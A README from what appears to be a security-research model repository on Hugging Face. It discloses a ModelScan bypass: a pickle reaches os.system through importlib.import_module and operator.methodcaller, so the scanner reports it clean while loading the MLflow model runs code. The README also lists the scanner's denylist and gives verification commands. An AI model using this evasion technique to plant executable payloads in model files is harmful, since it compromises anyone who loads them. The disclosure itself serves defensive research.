Upload README.md with huggingface_hub

README.md

@@ -0,0 +1,53 @@
+---
+library_name: mlflow
+tags:
+- security-research
+- modelscan-bypass
+- importlib
+- methodcaller
+- rce
+---
+
+# ModelScan importlib + methodcaller Bypass — RCE via importlib.import_module & operator.methodcaller
+
+## Summary
+
+ModelScan's pickle scanner blocks `os.*`, `sys.*`, `subprocess.*`, `builtins.*` in its `unsafe_globals` denylist. However, **`importlib.import_module`** and **`operator.methodcaller`** are NOT blocked.
+
+This MLflow model contains a malicious pickle that imports `os` at RUNTIME (through `importlib.import_module`) and calls `os.system()` (through `operator.methodcaller`). ModelScan sees only clean opcodes and reports zero issues.
+
+## Attack Chain
+
+The pickle bytecode uses only two STACK_GLOBAL opcodes:
+
+1. `importlib.import_module('os')` → Returns the os module at runtime
+2. `operator.methodcaller('system', 'command')` → Creates a callable that calls os.system()
+
+Deserialization: `operator.methodcaller('system', 'cmd')(importlib.import_module('os'))` → `os.system('cmd')`
+
+## Why It Works
+
+- `importlib` is NOT in modelscan's unsafe_globals at all
+- `operator.methodcaller` is NOT blocked (only `operator.attrgetter` is)
+- The dangerous `os.system` never appears in pickle opcodes — it's constructed at runtime
+
+## Verify
+
+```bash
+# 1. ModelScan says CLEAN
+modelscan -p model.pkl
+# Output: No issues found! 🎉
+
+# 2. MLflow load triggers RCE
+python3 -c "
+import mlflow.pyfunc
+model = mlflow.pyfunc.load_model('.')
+# os.system() executes before load_model returns
+"
+```
+
+## Impact
+
+- **Severity**: Critical (CVSS 9.8)
+- **Affected**: All pickle-based formats scanned by ModelScan
+- Remote, no auth needed, no user interaction